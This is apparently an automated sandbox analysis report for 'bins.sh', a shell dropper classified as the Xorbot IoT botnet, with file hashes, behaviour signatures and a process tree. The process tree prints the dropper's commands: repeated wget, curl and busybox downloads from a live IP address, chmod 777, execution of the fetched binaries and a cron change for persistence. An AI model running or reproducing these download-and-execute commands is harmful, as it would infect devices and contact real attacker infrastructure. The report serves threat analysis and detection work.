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Analysis

  • max time kernel
    149s
  • max time network
    100s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    05/01/2025, 20:12

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    6199f4dff7535b35fb225c6afd969645

  • SHA1

    0246e2d10d111a8df6b975e232d31c9759916ba3

  • SHA256

    64e4641b6298c2c74c581b957519064d5b75e2c10413b00c9c80b51bf144d8ae

  • SHA512

    e029fc458ebd8eee60d9b7bec97e53d18e91d0b8ca7509429876ba54f2eacfeb125e65b42f2cec3c9b8f692ceba7b6545faaee16d4fbfc0f52d8fb95cdcaa807

  • SSDEEP

    96:CzAcg+zLgQIaxtdyiCZVqMiit7Tcpt1bZptNbZh+/Acg+zLVaQIaxtYHGzyiCZV8:CzVyiCZVTncpt1bjthCByiCZV8

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:707
        • /usr/bin/wget
          wget http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          ./puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            2⤵
            • Writes file to tmp directory
            PID:743
          • /bin/chmod
            chmod 777 lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            2⤵
            • File and Directory Permissions Modification
            PID:750
          • /tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            ./lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            2⤵
            • Executes dropped EXE
            PID:752
          • /bin/rm
            rm lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
            2⤵
              PID:755
            • /usr/bin/wget
              wget http://66.63.187.225/bins/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
              2⤵
              • Writes file to tmp directory
              PID:756
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:772
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
              2⤵
              • Writes file to tmp directory
              PID:791
            • /bin/chmod
              chmod 777 NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
              2⤵
              • File and Directory Permissions Modification
              PID:794
            • /tmp/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
              ./NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
              2⤵
              • Executes dropped EXE
              PID:795
            • /bin/rm
              rm NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
              2⤵
                PID:797
              • /usr/bin/wget
                wget http://66.63.187.225/bins/9JZQvpmlLlV7Yzr8shmxHaLo07AHJqabLG
                2⤵
                • Writes file to tmp directory
                PID:798
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/9JZQvpmlLlV7Yzr8shmxHaLo07AHJqabLG
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:799
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/9JZQvpmlLlV7Yzr8shmxHaLo07AHJqabLG
                2⤵
                • Writes file to tmp directory
                PID:800
              • /bin/chmod
                chmod 777 9JZQvpmlLlV7Yzr8shmxHaLo07AHJqabLG
                2⤵
                • File and Directory Permissions Modification
                PID:801
              • /tmp/9JZQvpmlLlV7Yzr8shmxHaLo07AHJqabLG
                ./9JZQvpmlLlV7Yzr8shmxHaLo07AHJqabLG
                2⤵
                • Executes dropped EXE
                PID:802
              • /bin/rm
                rm 9JZQvpmlLlV7Yzr8shmxHaLo07AHJqabLG
                2⤵
                  PID:804
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/X3lSgHCQJXjUPXLOA7zpV3BFajsxW8c7BW
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/X3lSgHCQJXjUPXLOA7zpV3BFajsxW8c7BW
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:808
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/X3lSgHCQJXjUPXLOA7zpV3BFajsxW8c7BW
                  2⤵
                  • Writes file to tmp directory
                  PID:827
                • /bin/chmod
                  chmod 777 X3lSgHCQJXjUPXLOA7zpV3BFajsxW8c7BW
                  2⤵
                  • File and Directory Permissions Modification
                  PID:836
                • /tmp/X3lSgHCQJXjUPXLOA7zpV3BFajsxW8c7BW
                  ./X3lSgHCQJXjUPXLOA7zpV3BFajsxW8c7BW
                  2⤵
                  • Executes dropped EXE
                  PID:837
                • /bin/rm
                  rm X3lSgHCQJXjUPXLOA7zpV3BFajsxW8c7BW
                  2⤵
                    PID:841
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/Jq78wdlAGKrm3g8SjCieagZ2jSClYjjVhh
                    2⤵
                    • Writes file to tmp directory
                    PID:842
                  • /usr/bin/curl
                    curl -O http://66.63.187.225/bins/Jq78wdlAGKrm3g8SjCieagZ2jSClYjjVhh
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:843
                  • /bin/busybox
                    /bin/busybox wget http://66.63.187.225/bins/Jq78wdlAGKrm3g8SjCieagZ2jSClYjjVhh
                    2⤵
                    • Writes file to tmp directory
                    PID:844
                  • /bin/chmod
                    chmod 777 Jq78wdlAGKrm3g8SjCieagZ2jSClYjjVhh
                    2⤵
                    • File and Directory Permissions Modification
                    PID:845
                  • /tmp/Jq78wdlAGKrm3g8SjCieagZ2jSClYjjVhh
                    ./Jq78wdlAGKrm3g8SjCieagZ2jSClYjjVhh
                    2⤵
                    • Executes dropped EXE
                    PID:846
                  • /bin/rm
                    rm Jq78wdlAGKrm3g8SjCieagZ2jSClYjjVhh
                    2⤵
                      PID:848
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/jxEJwIfg9Mdl9o4nd1zkqH6rUhCuNckZNT
                      2⤵
                      • Writes file to tmp directory
                      PID:849
                    • /usr/bin/curl
                      curl -O http://66.63.187.225/bins/jxEJwIfg9Mdl9o4nd1zkqH6rUhCuNckZNT
                      2⤵
                      • Writes file to tmp directory
                      PID:853
                    • /bin/busybox
                      /bin/busybox wget http://66.63.187.225/bins/jxEJwIfg9Mdl9o4nd1zkqH6rUhCuNckZNT
                      2⤵
                      • Writes file to tmp directory
                      PID:854
                    • /bin/chmod
                      chmod 777 jxEJwIfg9Mdl9o4nd1zkqH6rUhCuNckZNT
                      2⤵
                      • File and Directory Permissions Modification
                      PID:855
                    • /tmp/jxEJwIfg9Mdl9o4nd1zkqH6rUhCuNckZNT
                      ./jxEJwIfg9Mdl9o4nd1zkqH6rUhCuNckZNT
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:856
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:858
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                            • Reads runtime system information
                            PID:859
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:860
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              • Reads runtime system information
                              PID:861
                        • /bin/rm
                          rm jxEJwIfg9Mdl9o4nd1zkqH6rUhCuNckZNT
                          2⤵
                            PID:863
                          • /usr/bin/wget
                            wget http://66.63.187.225/bins/M3yOEIWNWcXm9nqgrLEMifot92aMFSbdrf
                            2⤵
                              PID:866

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/9JZQvpmlLlV7Yzr8shmxHaLo07AHJqabLG

                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                          • /tmp/Jq78wdlAGKrm3g8SjCieagZ2jSClYjjVhh

                            Filesize

                            112KB

                            MD5

                            05d7857dcead18bbd86d2935f591873c

                            SHA1

                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                            SHA256

                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                            SHA512

                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                          • /tmp/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF

                            Filesize

                            119KB

                            MD5

                            1b166b95f9cb4b079ef1b9ec8363ddf3

                            SHA1

                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                            SHA256

                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                            SHA512

                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                          • /tmp/X3lSgHCQJXjUPXLOA7zpV3BFajsxW8c7BW

                            Filesize

                            111KB

                            MD5

                            ca897a38f23ec23521ce0b1b83f8422d

                            SHA1

                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                            SHA256

                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                            SHA512

                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                          • /tmp/jxEJwIfg9Mdl9o4nd1zkqH6rUhCuNckZNT

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP

                            Filesize

                            99KB

                            MD5

                            9438d9bc392bcf300a5583b6df5bc8f6

                            SHA1

                            375a6ae34b516f6f3eeea8030c4084f585017efa

                            SHA256

                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                            SHA512

                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                          • /tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /var/spool/cron/crontabs/tmp.6KGVi3

                            Filesize

                            210B

                            MD5

                            ced970174bca5874ca6e1f5fb6f28b0c

                            SHA1

                            4cdb1ffde9b55b1a878ee3dcba5c712d1459caa1

                            SHA256

                            c8ed73b581e9e58efc0eda6f45ca9d3f05962597c2c4a4fc7fa16d2b04cfad9f

                            SHA512

                            9284ccbd049bb9d009c7cd9602e78f379380bc370b02ea3c450a56983293bb15e7018173f439225d4083c16d32e3aee5b8ead17d736db82ae3b888ec81506476